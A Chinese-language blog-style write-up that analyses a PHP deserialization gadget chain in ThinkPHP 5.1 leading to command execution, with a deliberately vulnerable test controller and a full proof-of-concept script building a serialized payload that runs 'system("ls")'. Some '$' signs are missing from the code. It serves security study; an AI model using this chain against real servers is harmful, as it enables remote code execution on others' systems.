项目部署

php74 composer.phar create-project topthink/think=5.1.0 thinkphp-demo -vvv

然后用MAMP设置一下根目录就好了OvO

然后是添加Controller

<?php


namespace app\index\controller;


class Unserialize
{
    public function unserialize(){
        if(isset(_POST['data'])){data=_POST['data'];
            unserialize(base64_decode(data));
        }else{
            highlight_file(__FILE__);
        }
    }
}

并配置路由

return [
  'unserialize' => 'index/unserialize/unserialize',
];

POP链

入口是think\process\pipes\Windows

close没法利用,跟进一下里面的removeFiles

这里的$filename可以想办法调用__toString()

考虑think\model\concerntrait Conversion__toString()

跟进toJsontoArray

注意这里

最关键的地方就是看到了$relation->visible($name);

如果是可控变量->方法名(可控变量),就可以想办法去寻找存在的可利用的方法或者__call。

$this->append显然可控,然后我们观察$this->getRelation()

但我不知道为什么Conversion类里的$this->getRelation会跳到RelationShip类里去

显然可控,可以构造返回为空的情况

接下来我们来看$this->getAttr

代码很长。。。我们一点点看

这里的$this->getData显然可控


一个错误的想法

跟进后面的Loader::parseName

他的目标是字符串命名风格转换

一开始我觉得这里的参数应该都是可控的

那么我们应该可以轻松地通过控制$closure来RCE

但由于这里的Attribute类是trait,所以不能实例化。。。


回过来,try后面的几个if都是可以绕过的,也就是$getAttr我们是可以控制的

我们需要找到一个子类同时继承了Attribute类和Conversion类。

也就是这边的$relation是可以控制的

不过我们在构造反序列化时要注意,不能直接new那两个trait,所以我们要找一个类同时继承了这两个类来构造反序列化

抽象类think\model就满足这个条件,但他是抽象类,也不能直接实例化

think\model\Pivot继承了这个类

我们接下来全局搜一下visible方法,发现都不能利用。

考虑用__call()方法,而且call一般会存在call_user_func和call_user_func_array,php代码执行的终点经常选择这里。

经过查找,request里的__call可以调用

call_user_func_array —调用回调函数,并把一个数组参数作为回调函数的参数

但这里的call_user_func_array不能直接调用。。。

因为$methodvisible,但$args倒是可以控制

只是由于array_unshift$this插到了$args前面

这里要用到request类里的filter功能,Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

利用点就是下面的call_user_func

但这里的$filter$value都不可控

我们考虑利用input函数

array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。

array_walk_recursive(array,myfunction,parameter...)
参数描述
array必需。规定数组。
myfunction必需。用户自定义函数的名称。
userdata,...可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。

Array 参数的值作为第一个,键名作为第二个。如果提供了可选参数 userdata,将被作为第三个参数传递给 callback funcname。

跟进一下getFilter

不知道最后那个$filter[]=$default干什么。。但估计可控

现在只要考虑$data就行了

如果$data可控,且name为空,则前面的if都不会执行,所以没有影响

但我们在这个类里的入口是__call,只能控制函数名,不能控制参数

我们用param函数作为中间的桥梁

这里有

这里好像可以用get来传参...但我没管

由于$namecall_user_func_array传过来的,所以$name不为空,不满足要求

我们考虑再用isAjax函数来做跳板

由于$this->config['var_ajax']可控,所以一切都可控了~

总结一下POP链

think\process\pipes\Windows::destruct()
|||
think\model\concern\Conversion::__toString()
|||
think\Request::__call()=>isAjax()=>param()=>input()=>filterValue()

POC:

<?php
​
namespace think{
  class Request{
      protected config = [
          // 表单请求类型伪装变量
          'var_method'       => '_method',
          // 表单ajax伪装变量
          'var_ajax'         => '',
          // 表单pjax伪装变量
          'var_pjax'         => '_pjax',
          // PATHINFO变量名 用于兼容模式
          'var_pathinfo'     => 's',
          // 兼容PATH_INFO获取
          'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
          // 默认全局过滤方法 用逗号分隔多个
          'default_filter'   => '',
          // 域名根,如thinkphp.cn
          'url_domain_root' => '',
          // HTTPS代理标识
          'https_agent_name' => '',
          // IP代理获取标识
          'http_agent_ip'   => 'HTTP_X_REAL_IP',
          // URL伪静态后缀
          'url_html_suffix' => 'html',
      ];
      protectedhook = [];
      protected param = [];
      protectedfilter;
      public function __construct(){
          this->hook = array("visible"=>[this,"isAjax"]);
          this->filter = "system";this->param = array("1"=>"ls");
      }
  }
}
​
namespace think {
  abstract class Model
  {
      protected append = [];
      privatedata = [];
​
      function __construct()
      {
          this->data = ['OvO' => new Request()];this->append = ['OvO' => ['OvO' => 'TwT']];
      }
  }
}
​
namespace think\model{
​
  use think\Model;
​
  class Pivot extends Model{
  }
}
​
namespace think\process\pipes{
  use think\model\Pivot;
  class Windows{
      private files = [];
      public function __construct(){this->files = Array("OvO"=>new Pivot());
      }
  }
}
​
namespace {
  use think\process\pipes\Windows;
  a = serialize(new Windows());
  echoa;
  echo "\n";
  echo base64_encode($a);
}

有个注意点,就是这里的appenddata要写在Model类的魔术方法里面

总结

细节比较复杂,技不如人,以后多看看


告别纷扰,去寻找生活的宝藏。